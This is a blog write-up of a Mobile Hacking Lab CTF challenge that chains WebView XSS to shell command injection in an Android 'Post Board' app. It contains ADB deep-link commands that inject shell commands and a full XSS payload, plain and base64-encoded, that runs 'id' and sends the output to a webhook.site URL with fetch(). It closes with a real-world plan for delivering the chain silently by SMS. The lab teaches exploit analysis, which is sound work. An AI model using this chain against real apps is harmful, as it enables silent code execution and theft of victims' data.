Skip to main content

Command Palette

Search for a command to run...

Mobile Hacking Lab: Post Board - WebView XSS to RCE Challenge

Updated
7 min read

Objective: Exploit XSS vulnerability in WebView's markdown parser to achieve Remote Code Execution via command injection

This was a fascinating challenge from Mobile Hacking Lab that combined web security (XSS) with Android security (command injection). What made it interesting was that it made me thinking about real-world exploitation, not just getting RCE via direct deep links, but weaponizing it through XSS so an attacker could send a malicious link to a victim and exfiltrate the data, Let me walk you through my journey.

Initial Reconnaissance - The Challenge Description

The challenge description immediately pointed to WebView vulnerabilities:

  • XSS vulnerability in WebView component

  • Exposed Java interface to JavaScript

  • Goal: Chain XSS → RCE

My first instinct: This is going to involve addJavascriptInterface.

Decompiling the APK - Finding Entry Points

Started with JADX to examine the AndroidManifest.xml:

<activity android:name=".MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="postboard" 
              android:host="postmessage"/>
    </intent-filter>
</activity>

Discovery: Deep link handler - postboard://postmessage/

This meant I could trigger functionality from outside the app via ADB or a malicious link.

I immediately opened something like this to see what happens

I then started examining MainActivity.handleIntent():

private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();

    if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || 
        data == null || 
        !Intrinsics.areEqual(data.getScheme(), "postboard") || 
        !Intrinsics.areEqual(data.getHost(), "postmessage")) {
        return;
    }

    try {
        String path = data.getPath();
        // Drops the leading '/' character
        byte[] bArrDecode = Base64.decode(
            path != null ? StringsKt.drop(path, 1) : null, 8);
        String message = new String(bArrDecode, Charsets.UTF_8);

        // Single quote escaping
        message = StringsKt.replace$default(message, "'", "\\'", false, 4, null);

        // Loads into WebView
        binding.webView.loadUrl(
            "javascript:WebAppInterface.postMarkdownMessage('" + message + "')");

    } catch (Exception e) {
        // Error path - triggers cowsay
        binding.webView.loadUrl(
            "javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
    }
}

Key observations:

  1. Path after / is base64 decoded

  2. Single quotes are escaped: '\'

  3. Success path: calls postMarkdownMessage()

  4. Error path: calls postCowsayMessage() with exception message

So I could also do

adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/$(echo -n 'hello' | base64)"

First Approach - The Markdown XSS Hunt

I examined WebAppInterface.postMarkdownMessage() - it had tons of regex replacements converting markdown to HTML:

@JavascriptInterface
public final void postMarkdownMessage(String markdownMessage) {
    // Image: ![alt](url) → <img src='url' alt='alt'/>
    String html3 = new Regex("!\\[(.*?)\\]\\((.*?)\\)")
        .replace(html2, "<img src='$2' alt='$1'/>");

    // Links: [text](url) → <a href='url'>text</a>
    String html13 = new Regex("\\[([^\\[]+)\\]\\(([^)]+)\\)")
        .replace(html12, "<a href='$2'>$1</a>");

    // More markdown parsing...
}

My thinking: If I can inject HTML through markdown syntax, I can get XSS.

Hence I tried with simplest payload

<img src=x onerror=alert(1)>

adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="

XSS was executed, but what harm would this cause in a real world scenario? likely None

My Initial Instinct - The Cowsay Vector

While everything was focused on the markdown parser, I kept thinking about this code in the assets:

#!/bin/sh
# cowsay.sh

main() {
    if [ "$#" -lt 1 ]; then
        printf "Usage: %s <message>\\n" "$0"
        exit 1
    fi

    message="$*"
    print_message "$message"
    print_cow
}

main "$@"

My thought: This shell script takes user input directly. That's a classic command injection vulnerability.

Looking at how it's called:

public final String runCowsay(String message) {
    String[] command = {"/bin/sh", "-c", 
                       CowsayUtil.scriptPath + ' ' + message};
    Process process = Runtime.getRuntime().exec(command);
    // Read output...
}

Vulnerable! The message is concatenated directly into the shell command.

But here's the issue - postMarkdownMessage() was the primary path, and postCowsayMessage() only triggered on errors.

The Breakthrough - Error Path Exploitation

Remember that exception handler in handleIntent()?

} catch (Exception e) {
    binding.webView.loadUrl(
        "javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
}

The key insight: If I send invalid base64, the exception message contains my raw input!

Testing it:

adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/helloworld;id"

RCE achieved! via command injection in the error path!

The flow:

  1. Invalid base64 → Base64.decode() throws exception

  2. Exception message = "invalid;id" (our raw input)

  3. Catch block calls: postCowsayMessage("invalid;id")

  4. Shell executes: /bin/sh -c "cowsay.sh invalid;id"

  5. Shell interprets ; → runs cowsay.sh invalid THEN id

Real World Thinking - Why XSS to RCE Matters

At this point, we have two separate vulnerabilities:

  1. Direct RCE: postboard://postmessage/invalid;whoami

  2. XSS: postboard://postmessage/<base64 encoded HTML>

But here's the problem with #1: It requires the attacker to directly send commands, how would an attacker exfilterate in a real world?

In a real-world scenario:

  • Attacker sends malicious deep link to victim

  • Victim clicks it (maybe via SMS, email, QR code)

  • Attacker wants to exfiltrate data back to their server

Challenge: How do I get the command output back?

Direct command injection via deep link shows output on the device screen, but the attacker can't see it!

Solution: Chain XSS → RCE → Data Exfiltration

Building the Weaponized Payload

The WebView exposes WebAppInterface to JavaScript:

window.WebAppInterface.postCowsayMessage(message)
window.WebAppInterface.getMessages()

My attack chain:

  1. Use XSS to call postCowsayMessage() with command injection

  2. Wait for command execution to complete

  3. Retrieve output via getMessages()

  4. Exfiltrate to attacker's webhook

The Network Challenge

Initially thought: "I'll use curl or wget in the shell command to exfil data" This was the same problem with Cyclic Challenge that android busybox doesnt have curl or wget or maybe I am not aware?

~ ❯ adb shell am start -a android.intent.action.VIEW \
  -d "postboard://postmessage/invalid;curl"
Starting: Intent { act=android.intent.action.VIEW dat=postboard://postmessage/invalid }
/system/bin/sh: curl: inaccessible or not found

But wait... The WebView has network access!

JavaScript's fetch() API should works perfectly in WebViews.

Setting Up the Webhook - Data Exfiltration Endpoint

For those unfamiliar with webhooks, let me explain what they are and why we need them in this attack. A webhook is essentially a URL endpoint that receives HTTP requests. Think of it as a mailbox on the internet, whenever someone sends data to that URL, you can see what was sent.

In our attack scenario:

  • We're executing commands on the victim's device (like id, ls, cat /data/data/com.app/files/secret.txt)

  • The command output appears on the victim's screen, but we (the attacker) can't see it

  • We need a way to send that output back to ourselves

webhook.site is free and no signup required, you instantly get a unique URL like: https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670 - Any HTTP request to this URL appears in real-time on the webpage - Perfect for testing and CTF challenges

The Final Payload

<img
  src="x"
  onerror="
    WebAppInterface.postCowsayMessage('x;id');

    setTimeout(function () {
      var m = WebAppInterface.getMessages();
      fetch(
        'https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d=' +
        btoa(m)
      );
    }, 2000);
  "
>

Why setTimeout()?

  • postCowsayMessage() triggers async shell execution

  • Need to wait for command output to be added to cache

  • Without delay, getMessages() returns empty/old data

Encoding and Triggering

Base64 encode the payload (I removed extra spaces from the above payload, earlier section was meant to beautify)

Actual payload

<img src=x onerror="WebAppInterface.postCowsayMessage('x;id');setTimeout(function(){var m=WebAppInterface.getMessages();fetch('https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d='+btoa(m))},2000)">
PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApIj4=

This was the base64 value of the payload, lets send it

Bingo Moment

If you check your webhook, it gets hit, query param d contains some values

https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d=WyI8aW1nIHNyYz14IG9uZXJyb3I9XCJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOlwvXC93ZWJob29rLnNpdGVcL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApXCI+IiwiPHByZT4gXzxicj4mbHQ7IHggJmd0Ozxicj4gLTxicj4gICAgICAgIFxcICAgXl9fXjxicj4gICAgICAgICBcXCAgKG9vKVxcX19fX19fXzxicj4gICAgICAgICAgICAoX18pXFwgICAgICAgKVxcXC88YnI+ICAgICAgICAgICAgICAgIHx8LS0tLXcgfDxicj4gICAgICAgICAgICAgICAgfHwgICAgIHx8PGJyPnVpZD0xMDM4NSh1MF9hMzg1KSBnaWQ9MTAzODUodTBfYTM4NSkgZ3JvdXBzPTEwMzg1KHUwX2EzODUpLDMwMDMoaW5ldCksOTk5NyhldmVyeWJvZHkpLDIwMzg1KHUwX2EzODVfY2FjaGUpLDUwMzg1KGFsbF9hMzg1KSBjb250ZXh0PXU6cjp1bnRydXN0ZWRfYXBwOnMwOmMxMjksYzI1NyxjNTEyLGM3Njg8YnI+PFwvcHJlPiJd

WyI8aW1nIHNyYz14IG9uZXJyb3I9XCJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOlwvXC93ZWJob29rLnNpdGVcL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApXCI+IiwiPHByZT4gXzxicj4mbHQ7IHggJmd0Ozxicj4gLTxicj4gICAgICAgIFxcICAgXl9fXjxicj4gICAgICAgICBcXCAgKG9vKVxcX19fX19fXzxicj4gICAgICAgICAgICAoX18pXFwgICAgICAgKVxcXC88YnI+ICAgICAgICAgICAgICAgIHx8LS0tLXcgfDxicj4gICAgICAgICAgICAgICAgfHwgICAgIHx8PGJyPnVpZD0xMDM4NSh1MF9hMzg1KSBnaWQ9MTAzODUodTBfYTM4NSkgZ3JvdXBzPTEwMzg1KHUwX2EzODUpLDMwMDMoaW5ldCksOTk5NyhldmVyeWJvZHkpLDIwMzg1KHUwX2EzODVfY2FjaGUpLDUwMzg1KGFsbF9hMzg1KSBjb250ZXh0PXU6cjp1bnRydXN0ZWRfYXBwOnMwOmMxMjksYzI1NyxjNTEyLGM3Njg8YnI+PFwvcHJlPiJd

That is in base64, hence lets decode this, you have id executed!

Real World Attack Scenario

Attacker's perspective:

In a realworld postboard social app, you would

  1. Craft malicious deep link with XSS payload

  2. Send to victim on your own postboard that other’s can see or send payload via other delivery mechanisms such as sms.

  3. If this is social postboard victim doesnt even need to click!

  4. But if delivery mechanism is SMS then yes victim clicks → App opens → XSS executes

  5. JavaScript:

    • Runs arbitrary shell commands

    • Extracts sensitive data (contacts, files, app data)

    • Exfiltrates to attacker's server

  6. Victim sees normal app behavior (no visible indicators)

Why this is powerful:

  • No user interaction needed

  • Bypasses Android's permission model (app's own permissions are used, INTERNET)

  • Silent data exfiltration

As an attacker, you should always think, "How would I weaponize this?" Popping up alert(1) on xss doesn’t do any real damage unless you can ex-filtrate.

Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.ShareArtifactsDownload allPostboard